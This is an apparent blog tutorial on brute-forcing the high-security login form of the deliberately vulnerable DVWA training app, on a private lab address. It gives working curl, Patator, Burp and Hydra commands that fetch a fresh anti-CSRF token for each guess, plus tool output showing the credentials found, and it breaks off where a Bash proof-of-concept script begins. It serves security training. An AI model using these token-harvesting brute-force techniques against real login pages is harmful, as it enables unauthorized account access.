Пропускане към основното съдържание

DVWA - Brute Force (High Level) - Anti-CSRF Tokens


This is the final "how to" guide which brute focuses Damn Vulnerable Web Application (DVWA), this time on the high security level. It is an expansion from the "low" level (which is a straightforward HTTP GET form attack). The main login screen shares similar issues (brute force-able and with anti-CSRF tokens). The only other posting is the "medium" security level post (which deals with timing issues).


For the final time, let's pretend we do not know any credentials for DVWA.... Let's play dumb and brute force DVWA... once and for all!

TL;DR: Quick copy/paste

1:  CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)  
2:  SESSIONID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)  
3:  curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php"  
4:    
5:  patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 timeout=5 --max-retries=0 \  
6:   url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&user_token=_CSRF_&Login=Login" \  
7:   1=/usr/share/seclists/Usernames/top_shortlist.txt 0=/usr/share/seclists/Passwords/rockyou-40.txt \  
8:   header="Cookie: security=high; PHPSESSID=${SESSIONID}" \  
9:   before_urls="http://192.168.1.44/DVWA/vulnerabilities/brute/" \  
10:   before_header="Cookie: security=high; PHPSESSID=${SESSIONID}" \  
11:   before_egrep="_CSRF_:<input type='hidden' name='user_token' value='(\w+)' />" \  
12:   -x quit:fgrep='Welcome to the password protected area'  
Objectives
The goal is to brute force an HTTP login page. GET requests are made via a form. The web page is in a sub folder.
Low.
Straight forward HTTP GET brute force attack via a web form. Bonus: SQL injection (See here for more information).
Medium.
Extends on the "low" level - HTTP GET attack via a web form. Adds in a static time delay (4 seconds) on failed logins.
High.
Extends on the "low" level - HTTP GET attack via a web form. Uses an anti Cross-Site Request Forgery (CSRF) token. This time uses a random time delay (between 0 and 4 seconds).
Impossible.
Submits data via HTTP POST via web form Accounts will lock out after 5 failed logins. Time delay before becoming unlocked (15 minutes). Unable to enumerate users on the system. Possible "Denial of Service (DoS)" vector.
PHPIDS.
Does not protect against this attack. All attack methods are still the same!


Setup
Main target: DVWA v1.10 (Running on Windows Server 2012 Standard ENG x64 + IIS 8). Target setup does not matter too much for this - Debian/Arch Linux/Windows, Apache/Nginx/IIS, PHP v5.x, or MySQL/MariaDB.
The main target is on the IP (192.168.1.44), port (80) and subfolder (/DVWA/), which is known ahead of time.
Because the target is Windows, it does not matter about case sensitive URL requests (/DVWA/ vs /dvwa/).
Attacker: Kali Linux v2 (+ Personal Custom Post-install Script).
Shell prompt will look different (due to ZSH/Oh-My-ZSH).
Added colour to tools output (thanks to GRC).
Pre-installed tools (such as html2text).
Both machines are running inside a Virtual Machine (VMware ESXi).

Tools
cURL - Information gathering (used for viewing source code & automate generating sessions).
Patator v0.7 - A brute force tool.
So far, we were using v0.5, however this does not have the before_header function. Time to upgrade!
Burp Proxy v16.0.1 - Debugging requests & brute force tool
Using FoxyProxy to switch proxy profiles in Iceweasel.
SecLists - General wordlists.
These are common, default and small wordlists.
Instead of using a custom built wordlist, which has been crafted for our target (e.g. generated with CeWL).

Creating a Session Cookie
This was explained back in the first post for the low level setting. Again, this post will be using the low level
posting, and expanding on it.
I will not be covering certain parts in depth here, because I already mentioned them in other posts.
If a certain area is does not make sense,
I strongly suggest you read over the low security post first (and maybe the medium one too).
The cookie command has not changed, plus the target has not changed, which means the output and result will be the
same.

1:  [root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)  
2:  [root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"  
3:  <head><title>Document Moved</title></head>  
4:  <body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#  
5:  [root:~]# sed -i '/security/d' dvwa.cookie  
6:  [root:~]#  


Note, depending on the web server and its configuration, it may respond slightly differently (in the screenshot: 192.168.1.11 is Nginx,192.168.1.22 is Apache & 192.168.1.44 is IIS). This is a possible method to fingerprint an IIS web server.

Information Gathering
Form HTML Code


First thing we need to do is to figure out how this level is different from both of the ones before it (low and medium). We could use DVWA's in-built function to allow us to look at the PHP source code (which is stored on the server), however, let's try and figure it out ourselves as we would be doing if it was any other black box assessment. Using the same commands as before, let's see what was returned in the initial HTML response that makes up the web form.
1:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<form/,/<\/form/p'  
2:    <form action="#" method="GET">  
3:     Username:<br />  
4:     <input type="text" name="username"><br />  
5:     Password:<br />  
6:     <input type="password" AUTOCOMPLETE="off" name="password"><br />  
7:     <br />  
8:     <input type="submit" value="Login" name="Login">  
9:     <input type='hidden' name='user_token' value='ff383a856f386faa98c327a585b75cda' />  
10:    </form>  
11:  [root:~]#  

Unlike the times before, this is not the same! There is now an extra input field between the
tags, call user_token! We can highlight this by using diff to compare the low and high levels.
1:  [root:~]# curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<div class="body_padded/,/<\/div/p' > low.txt  
2:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<div class="body_padded/,/<\/div/p' > high.txt  
3:  [root:~]#  
4:  [root:~]# diff {low,high}.txt  
5:  14c14  
6:  <  
7:  ---  
8:  >    <input type='hidden' name='user_token' value='6a7b86cd4e916fbb8f6ce7b64c7fec39' />  
9:  [root:~]#  




Based on the name (user_token), the field is hidden, and as the value appears to be a MD5 value (due to its length and character range), these are all indications of the value being used for an anti-CSRF (Cross-Site Request Forgery) token. If this is true, it will make the attack slightly more complex (as testing each combination could require a new token), and we will not be able to use certain tools (such as Hydra, unless we permanently have it using a proxy).

CSRF Token Checking
Comparing requests:


Is the value in the hidden field (user_token) static? What happens if we make two normal requests and compare the responses?
1:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' > high1.txt  
2:  [root:~]# !curl:gs/high1/high2/  #curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' > high2.txt  
3:  [root:~]# diff high{1,2}.txt  
4:  69c69  
5:  <    <input type='hidden' name='user_token' value='549d499897b815789172c2d7cddf6a69' />  
6:  ---  
7:  >    <input type='hidden' name='user_token' value='3ba4692348281c30d34f23838d304518' />  
8:  [root:~]#  


So it looks when you request a new page, the web app generates a new token (even more proof it is an anti-CSRF token).
Redirects:
What happens when we try to send a request? Once again we are pretending we do not know any valid credentials to login with (and there is still not a register/sign up page!), so we will just pick values at random, knowing they will fail (user/pass).
1:  [root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)  
2:  [root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php" >/dev/null  
3:  [root:~]# sed -i '/security/d' dvwa.cookie  
4:  [root:~]#  
5:  [root:~]# user_token=$(curl -s -b 'security=high' -b dvwa.cookie '192.168.1.44/DVWA/vulnerabilities/brute/' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)  
6:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie "http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=${user_token}&Login=Login" \  
7:   | sed -n '/<div class="body_padded/,/<\/div/p' | html2text  
8:  ****** Vulnerability: Brute Force ******  
9:  ***** Login *****  
10:  Username:  
11:  [username      ]  
12:  Password:  
13:  [********************]  
14:    
15:  [Login]  
16:    
17:  Username and/or password incorrect.  
18:  [root:~]#  

The page loads as normal. But what happens if we repeat the last request, re-using the same CSRF token (which now would be invalid)? Are we able to-do a similar trick as we did in the main login screen, where we get a valid session and then kept using it over and over?
1:  [root:~]# !curl  
2:  [root:~]#  

The page did not respond the same! Let's dig deeper...


1:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie "http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=${user_token}&Login=Login" -i  
2:  HTTP/1.1 302 Moved Temporarily  
3:  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
4:  Pragma: no-cache  
5:  Content-Type: text/html; charset=UTF-8  
6:  Expires: Thu, 19 Nov 1981 08:52:00 GMT  
7:  Location: index.php  
8:  Server: Microsoft-IIS/8.0  
9:  X-Powered-By: PHP/5.6.0  
10:  Date: Fri, 06 Nov 2015 15:58:12 GMT  
11:  Content-Length: 132  
12:    
13:  <head><title>Document Moved</title></head>  
14:  <body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#  
15:  [root:~]#  

Just like before, we are being redirected after submitting, however this time it only happens when the CSRF token is incorrect - not the credentials. Something to keep in mind, would the page we are being redirected to different depending if the login was successful? Now, let's follow the redirect and see what is returned.
1:  [root:~]# !curl -L | sed -n '/<div class="body_padded/,/<\/div/p' | html2text  
2:  ****** Vulnerability: Brute Force ******  
3:  ***** Login *****  
4:  Username:  
5:  [username      ]  
6:  Password:  
7:  [********************]  
8:    
9:  [Login]  
10:  CSRF token is incorrect  
11:  CSRF token is incorrect  
12:  CSRF token is incorrect  
13:  [root:~]#  


See how we get the message three times? So we are able to send multiple requests, but only show the results when the CSRF token is valid.
We are going to cheat a little here, and see what happens when we make a successful login, and compare it to an invalid one, both with an invalid CSRF token. If there are any differences (e.g. where we are being redirected to, page size, cookies etc.), is the web application checking the credentials even if the CSRF is invalid? If it is, we might be able to use this as a marker to bypass the CSRF function
1:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie "192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=123&Login=Login" -i -L >invalid.txt  
2:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie "192.168.1.44/DVWA/vulnerabilities/brute/?username=admin&password=password&user_token=123&Login=Login" -i -L >valid.txt  
3:  [root:~]#  
4:  [root:~]# diff {in,}valid.txt  
5:  90c90  
6:  <    <input type='hidden' name='user_token' value='4e9d8137848eca76c183f5ab86ef8471' />  
7:  ---  
8:  >    <input type='hidden' name='user_token' value='d6d50d4fd2ac26487996984f8ac2ece1' />  
9:  [root:~]#  


Nope. Sending valid credentials does not make a difference (same redirected page, same length, same cookie). Nothing to use as a marker (unlike the login screen ). This means the web application is processing the CSRF token and does not proceed any further.
Invalid token request:
Is there a way to somehow bypass the CSRF check? We already know what happens if we do not send the correct value in the CSRF token, but what happens if the token is blank, if the token field is missing, if the token value contains characters out of its normal range (0-f), or, if the token value is too short/long?
1:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=123&Login=Login' -L \  
2:   | sed -n '/<div class="body_padded/,/<\/div/p' | html2text  
3:  ****** Vulnerability: Brute Force ******  
4:  ***** Login *****  
5:  Username:  
6:  [username      ]  
7:  Password:  
8:  [********************]  
9:    
10:  [Login]  
11:  CSRF token is incorrect  
12:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=&Login=Login' -L \  
13:   | sed -n '/<div class="body_padded/,/<\/div/p' | html2text  
14:  ****** Vulnerability: Brute Force ******  
15:  ***** Login *****  
16:  Username:  
17:  [username      ]  
18:  Password:  
19:  [********************]  
20:    
21:  [Login]  
22:  CSRF token is incorrect  
23:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=%20&Login=Login' -L \  
24:   | sed -n '/<div class="body_padded/,/<\/div/p' | html2text  
25:  ****** Vulnerability: Brute Force ******  
26:  ***** Login *****  
27:  Username:  
28:  [username      ]  
29:  Password:  
30:  [********************]  
31:    
32:  [Login]  
33:  CSRF token is incorrect  
34:  [root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' -L \  
35:  >  | sed -n '/<div class="body_padded/,/<\/div/p' | html2text  
36:  ****** Vulnerability: Brute Force ******  
37:  ***** Login *****  
38:  Username:  
39:  [username      ]  
40:  Password:  
41:  [********************]  
42:    
43:  [Login]  
44:  CSRF token is incorrect  
45:  [root:~]#  


All failed.
The only other way to try and bypass this protection would be to predict the value. Is the "seed" (the method used to generate the token) weak? Example, what if it was only the timestamp in a MD5? However, I am going to skip doing this, because I know it is a dead end in this case.
All of this means we need to include a unique value in each request during the brute force attack, so we make a GET request before sending the login credentials in another GET request. This in itself will limit what tools we can use (e.g. Hydra v8.1 does not support this - only solution would be to use a Proxy and have it alter Hydra's requests). Plus, due to the nature of the web application being slightly different (e.g. having to be already authenticated at the screen we want to brute force), this is going to make it even more difficult. Example, the version of Patator we have been using (v0.5) does not support this, however v0.7 does! Having to be logged into the web application, means we have to use a fixed session value (PHPSESSID), which will mean we only have one user_token at a time. Using multiple threads, will make multiple GET requests to get a user_token and each request resets the value, thus making the last request the only valid value (so some request would never be valid, even with the correct login details). Single thread attack, once again.

Timings
When doing our CSRF checks, we noticed that the web application response time was not always the same (unlike Medium where it would always take an extra 3 seconds).
1:  [root:~]# for x in {1..3}; do  
2:   time curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' > /dev/null  
3:  done  
4:  curl -s -b 'security=low' -b dvwa.cookie > /dev/null 0.01s user 0.00s system 12% cpu 0.064 total  
5:  curl -s -b 'security=low' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 19% cpu 0.040 total  
6:  curl -s -b 'security=low' -b dvwa.cookie > /dev/null 0.01s user 0.00s system 15% cpu 0.052 total  
7:  [root:~]#  
8:  [root:~]# for x in {1..10}; do  
9:   user_token=$(curl -s -b 'security=high' -b dvwa.cookie '192.168.1.44/DVWA/vulnerabilities/brute/' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)  
10:   time curl -s -b 'security=high' -b dvwa.cookie "192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=${user_token}&Login=Login" > /dev/null  
11:  done  
12:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.01s user 0.00s system 0% cpu 2.055 total  
13:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.01s user 0.00s system 18% cpu 0.043 total  
14:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 3.056 total  
15:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.01s system 0% cpu 2.047 total  
16:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 4.059 total  
17:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 4.043 total  
18:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 1.060 total  
19:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 4.046 total  
20:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 9% cpu 0.044 total  
21:  curl -s -b 'security=high' -b dvwa.cookie > /dev/null 0.00s user 0.00s system 0% cpu 4.055 total  
22:  [root:~]#  


There's a mixture of time delays, between 0-4 seconds. However, due to the "logged in CSRF token" mentioned before we are going to have to be using a single thread - so just make sure the time out value is greater than 4 seconds.

Patator
Patator is able to request a certain URL before trying a combination attempt (using before_urls), and can then extract a certain bit of information (before_egrep) to include it in the attack (e.g. _CSRF_). As already mentioned, having to be already authenticated to web application in order to brute force a form is slightly different. Lucky, Patator v0.7 can also send a header (before_header) to make sure the requests are always as an authenticated user. Note, in the low and medium levels, we were using v0.5.
Patator Documentation
Compared to the low level, the only extra arguments we are now using:
1:  before_urls  : comma-separated URLs to query before the main request  
2:  before_header : use a custom header in the before_urls request  
3:  before_egrep : extract data from the before_urls response to place in the main request  
4:  ...SNIP...  
5:  --max-retries=N   skip payload after N retries (default is 4) (-1 for unlimited)  

before_urls - this will be the same URL as we are trying to brute force as it contains CSRF value we wish to acquire. before_header - this will be the same as the header (because we need to be authenticated to being with). before_egrep - this is where the magic will happen. This extracts the CSRF token value from the page, so we can re-use it in the main request. We know to use
1:  <input type='hidden' name='user_token' value='...' />  
due to the information we gathered using cURL. Patator uses regular expressions (egrep) in order to locate the wanted CSRF value - (\w+). We will assign the extracted value to the variable _CSRF_ so we can use it in the same matter as the wordlists - &user_token=_CSRF_.
--max-retries - is not really required, just carried over from the medium level. If you would like to see what is happening behind the scenes, here is a screenshot of the attack with a proxy being used.


Patator Attack Command
1:  [root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)  
2:  [root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')  
3:  [root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null  
4:  [root:~]#  
5:  [root:~]# python patator.py http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 timeout=5 --max-retries=0 \  
6:   url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&user_token=_CSRF_&Login=Login" \  
7:   1=/usr/share/seclists/Usernames/top_shortlist.txt 0=/usr/share/seclists/Passwords/rockyou-40.txt \  
8:   header="Cookie: security=high; PHPSESSID=${SESSIONID}" \  
9:   before_urls="http://192.168.1.44/DVWA/vulnerabilities/brute/" \  
10:   before_header="Cookie: security=high; PHPSESSID=${SESSIONID}" \  
11:   before_egrep="_CSRF_:<input type='hidden' name='user_token' value='(\w+)' />" \  
12:   -x quit:fgrep!='Username and/or password incorrect'  
13:  16:12:32 patator  INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-11-06 16:12 GMT  
14:  16:12:32 patator  INFO -  
15:  16:12:32 patator  INFO - code size:clen    time | candidate             |  num | mesg  
16:  16:12:32 patator  INFO - -----------------------------------------------------------------------------  
17:  16:12:32 patator  INFO - 200 10639:5033   0.047 | 123456:root            |   1 | HTTP/1.1 200 OK  
18:  16:12:32 patator  INFO - 200 10552:5033   0.037 | 123456:admin            |   2 | HTTP/1.1 200 OK  
19:  16:12:34 patator  INFO - 200 10552:5033   1.051 | 123456:test            |   3 | HTTP/1.1 200 OK  
20:  16:12:35 patator  INFO - 200 10552:5033   1.050 | 123456:guest            |   4 | HTTP/1.1 200 OK  
21:  16:12:36 patator  INFO - 200 10552:5033   1.051 | 123456:info            |   5 | HTTP/1.1 200 OK  
22:  16:12:37 patator  INFO - 200 10552:5033   1.040 | 123456:adm             |   6 | HTTP/1.1 200 OK  
23:  16:12:37 patator  INFO - 200 10552:5033   0.039 | 123456:mysql            |   7 | HTTP/1.1 200 OK  
24:  16:12:40 patator  INFO - 200 10552:5033   3.049 | 123456:user            |   8 | HTTP/1.1 200 OK  
25:  16:12:44 patator  INFO - 200 10552:5033   4.034 | 123456:administrator        |   9 | HTTP/1.1 200 OK  
26:  16:12:45 patator  INFO - 200 10552:5033   1.056 | 123456:oracle           |  10 | HTTP/1.1 200 OK  
27:  16:12:47 patator  INFO - 200 10552:5033   2.044 | 123456:ftp             |  11 | HTTP/1.1 200 OK  
28:  16:12:50 patator  INFO - 200 10552:5033   3.052 | 12345:root             |  12 | HTTP/1.1 200 OK  
29:  16:12:53 patator  INFO - 200 10552:5033   3.056 | 12345:admin            |  13 | HTTP/1.1 200 OK  
30:  16:12:54 patator  INFO - 200 10552:5033   0.043 | 12345:test             |  14 | HTTP/1.1 200 OK  
31:  16:12:55 patator  INFO - 200 10552:5033   1.049 | 12345:guest            |  15 | HTTP/1.1 200 OK  
32:  16:12:57 patator  INFO - 200 10552:5033   2.046 | 12345:info             |  16 | HTTP/1.1 200 OK  
33:  16:12:57 patator  INFO - 200 10552:5033   0.040 | 12345:adm             |  17 | HTTP/1.1 200 OK  
34:  16:12:58 patator  INFO - 200 10552:5033   1.040 | 12345:mysql            |  18 | HTTP/1.1 200 OK  
35:  16:12:59 patator  INFO - 200 10552:5033   1.046 | 12345:user             |  19 | HTTP/1.1 200 OK  
36:  16:13:00 patator  INFO - 200 10552:5033   1.072 | 12345:administrator        |  20 | HTTP/1.1 200 OK  
37:  16:13:00 patator  INFO - 200 10552:5033   0.038 | 12345:oracle            |  21 | HTTP/1.1 200 OK  
38:  16:13:03 patator  INFO - 200 10552:5033   3.047 | 12345:ftp             |  22 | HTTP/1.1 200 OK  
39:  16:13:03 patator  INFO - 200 10552:5033   0.035 | 123456789:root           |  23 | HTTP/1.1 200 OK  
40:  16:13:05 patator  INFO - 200 10552:5033   2.048 | 123456789:admin          |  24 | HTTP/1.1 200 OK  
41:  16:13:05 patator  INFO - 200 10552:5033   0.035 | 123456789:test           |  25 | HTTP/1.1 200 OK  
42:  16:13:08 patator  INFO - 200 10552:5033   2.051 | 123456789:guest          |  26 | HTTP/1.1 200 OK  
43:  16:13:08 patator  INFO - 200 10552:5033   0.038 | 123456789:info           |  27 | HTTP/1.1 200 OK  
44:  16:13:12 patator  INFO - 200 10552:5033   4.045 | 123456789:adm           |  28 | HTTP/1.1 200 OK  
45:  16:13:14 patator  INFO - 200 10552:5033   2.052 | 123456789:mysql          |  29 | HTTP/1.1 200 OK  
46:  16:13:16 patator  INFO - 200 10552:5033   2.043 | 123456789:user           |  30 | HTTP/1.1 200 OK  
47:  16:13:16 patator  INFO - 200 10552:5033   0.028 | 123456789:administrator      |  31 | HTTP/1.1 200 OK  
48:  16:13:17 patator  INFO - 200 10552:5033   1.046 | 123456789:oracle          |  32 | HTTP/1.1 200 OK  
49:  16:13:17 patator  INFO - 200 10552:5033   0.038 | 123456789:ftp           |  33 | HTTP/1.1 200 OK  
50:  16:13:18 patator  INFO - 200 10552:5033   1.069 | password:root           |  34 | HTTP/1.1 200 OK  
51:  16:13:18 patator  INFO - 200 10614:5095   0.029 | password:admin           |  35 | HTTP/1.1 200 OK  
52:  16:13:22 patator  INFO - 200 10552:5033   4.035 | password:test           |  36 | HTTP/1.1 200 OK  
53:  16:13:22 patator  INFO - Hits/Done/Skip/Fail/Size: 36/36/0/0/43527, Avg: 0 r/s, Time: 0h 0m 50s  
54:  16:13:22 patator  INFO - To resume execution, pass --resume 36  
55:  [root:~]#  



Burp Suite
Burp Suite has a proxy tool in-built. Even though it is primarily a commercial tool, there is a "free license" version. The free edition contains a limited amount of features and functions with various limits in place, one of which is a slower "intruder" attack speed.
Burp is mainly a graphical UI, which makes it harder to demonstrate how to use it (mouse clicking vs copying/pasting commands). This section really could benefit from a video, rather than a screenshot gallery....
The first section will quickly load in the valid request, which contains the user_token field we need to automate in each request. The next part will create a macro to automatically extract and use the value. The last part will be the brute force attack itself.
Configure Burp
This is quick and simple. Get to the brute force login page and make a login attempt when hooked inside the proxy.
The first thing we need to-do is set up our web browser (Iceweasel/Firefox) to use Burp's proxy. IP: 127.0.0.1 (loopback by Burp's default), Port: 8080 Using FoxyProxy to switch profiles.

Macro
This stage will now detect, extract and act on the user_token field.
Options -> Sessions -> Session Handling Rules -> Add.


Rule Description: DVWA Brute High -> Rule Action -> Add -> Run a macro


Select macro -> Add


Macro Recorder -> Select: GET /DVWA/vulnerabilities/brute/ HTTP/1.1 -> OK


Macro description: Get user_token.
#1 -> Configure item.


Custom parameters locations in response -> Add.


Parameter name: user_token.
Start after expression: user_token' value='.
End at delimiter: ' />
Ok


Ok -> Ok


Enable: Tolerate URL mismatch when matching parameters (use for URL-agnostic CSRF tokens) Ok


Result


Scope -> Tool Scope -> Only select: Intruder URL Scope -> Use Suite scope [defined in Target tab] Ok
We will come back here if we choose to use Hydra later.


Target -> Site map -> 192.168.1.44 -> Right click: Add to scope


Intruder
This is the main brute force attack itself. Due to the free version of Burp, this will be "slow". First thing, find the request we made back at the start, when we tried to login with the bad credentials. Right click -> Send to Intruder.


Intruder (tab) -> 2 -> Positions Attack type: Cluster bomb. This supports multiple lists (based on the number of fields in scope. Defined by §value§), going through each value one by one in the first wordlist, then when it reaches the end to move to the next value in the next list For more information about attack types: https://portswigger.net/burp/help/intruder_positions.html Clear § Highlight: user -> Press: Add § Result: username=§admin§ Highlight: pass -> Press: Add § Result: password=pass


Intruder (tab) -> 2 -> Payloads Payload Sets -> Payload Sets: 1. Payload type: Simple list Payload Options [Simple list] -> Load -> /usr/share/seclists/Usernames/top_shortlist.txt ->
Open


Payload Sets -> Payload Sets: 2. Payload type: Simple list


Payload Options [Simple list] -> Load -> /usr/share/seclists/Passwords/rockyou-10.txt -> Open


Total requests: 1,012


Intruder (tab) -> 2 -> Options Attack Results -> Untick: Make unmodified baseline request


Grep - Extract -> Add


1:  Start after expression: <pre><br />.  
2:  End at delimiter: </pre>  
3:  Ok  



Intruder (menu) -> Start attack


This is the warning, informing us we are using the free edition of Burp, as a result, our attack speed
will be limited. Ok


1:  Result  
2:  We can see the value which is successful by the <pre><br /> being different, as well as the Length.  



Hydra
This is not a complete section, as it expands upon the "Burp Proxy" above. We will be editing values which were created, rather than adding them. Hydra by itself is unable to perform the attack. When putting Hydra's traffic through a proxy, the proxy can handle the request, altering Hydra's request so Hydra is not aware of the CSRF tokens. In order to get Hydra to be able to brute force with CSRF tokens, we need to: In Burp, edit the CSRF macro to run on traffic which is sent via the proxy (see the Burp section above for the guide to create the macro). Enable "invisible proxy" mode inside of Burp, allowing Hydra to use Burp as a proxy (see low level posting for why). Create a rule to drop the unnecessary GET requests Hydra creates (see login screen posting for why).

CSRF Macro + Proxy:
Burp -> Options -> Sessions -> Session Handling Rules -> Edit: DVWA Brute High You will need see the Burp Suite section above, which shows how to create this. Scope -> Tools Scope -> Enable: Proxy (use with cation) Ok


Enable Invisible Proxy Mode:
Burp -> Proxy -> Options
Proxy Listeners -> Edit: 127.0.0.1 -> Request handling -> Tick:
Support invisible proxying (enable only if needed)


Drop unwanted GET requests:


Burp -> Proxy -> Options
Match and Replace -> Add
Type: Request header
Match: GET /DVWA/vulnerabilities/brute/ HTTP/1.0
Replace: < BLANK >
Comment: DVWA Hydra Brute High
Enable: Regex match (Even if we did not use any expression. Oops!)
Ok


Result:
1:  [root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)  
2:  [root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)  
3:  [root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null  
4:  [root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080  
5:  [root:~]#  
6:  [root:~]# hydra -l admin -P /usr/share/seclists/Passwords/rockyou.txt \  
7:   -e ns -F -u -t 1 -w 5 -v -V 192.168.1.44 http-get-form \  
8:   "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&user_token=123&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=high; PHPSESSID=${SESSIONID}"  
9:  Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.  
10:    
11:  Hydra (http://www.thc.org/thc-hydra) starting at 2015-11-06 23:24:29  
12:  [INFO] Using HTTP Proxy: http://127.0.0.1:8080  
13:  [INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.  
14:  [DATA] max 1 task per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~224131 tries per task  
15:  [DATA] attacking service http-get-form on port 80  
16:  [VERBOSE] Resolving addresses ... done  
17:  [ATTEMPT] target 192.168.1.44 - login "admin" - pass "admin" - 1 of 14344400 [child 0]  
18:  [ATTEMPT] target 192.168.1.44 - login "admin" - pass "" - 2 of 14344400 [child 0]  
19:  [ATTEMPT] target 192.168.1.44 - login "admin" - pass "123456" - 3 of 14344400 [child 0]  
20:  [ATTEMPT] target 192.168.1.44 - login "admin" - pass "12345" - 4 of 14344400 [child 0]  
21:  [ATTEMPT] target 192.168.1.44 - login "admin" - pass "123456789" - 5 of 14344400 [child 0]  
22:  [ATTEMPT] target 192.168.1.44 - login "admin" - pass "password" - 6 of 14344400 [child 0]  
23:  [80][http-get-form] host: 192.168.1.44  login: admin  password: password  
24:  [STATUS] attack finished for 192.168.1.44 (valid pair found)  
25:  1 of 1 target successfully completed, 1 valid password found  
26:  Hydra (http://www.thc.org/thc-hydra) finished at 2015-11-06 23:24:42  
27:  [root:~]#  


Note, we do not see the result of the macro being used. We are only seeing the values before Burp alters the traffic, which is why the user_token appears to be an incorrect value each time. The attack was successful, which can be seen in Burp by the length column, and response tab, as well as in Hydra's output window. Also note, the speed of the traffic in Burp's proxy is not filtered, unlike Burp's intruder function when using the free license.

Proof of Concept Scripts
Here are two Proof of Concept (PoC) scripts (one in Bash and the other is Python). They are really rough templates, and not stable tools to be keep on using. They are not meant to be "fancy" (e.g. no timeouts or no multi-threading). However, they can be fully customised in the attack. We cannot benchmark these, because of the random cool down times when there is a failed login attempt.
These scripts (can more) can be found on GitHub at the following repository.
Bash Template
1:  #!/bin/bash  
2:  # Quick PoC template for HTTP GET form brute force with CSRF token  
3:  # Target: DVWA v1.10 (Brute Force - High)  
4:  #  Date: 2015-11-07  
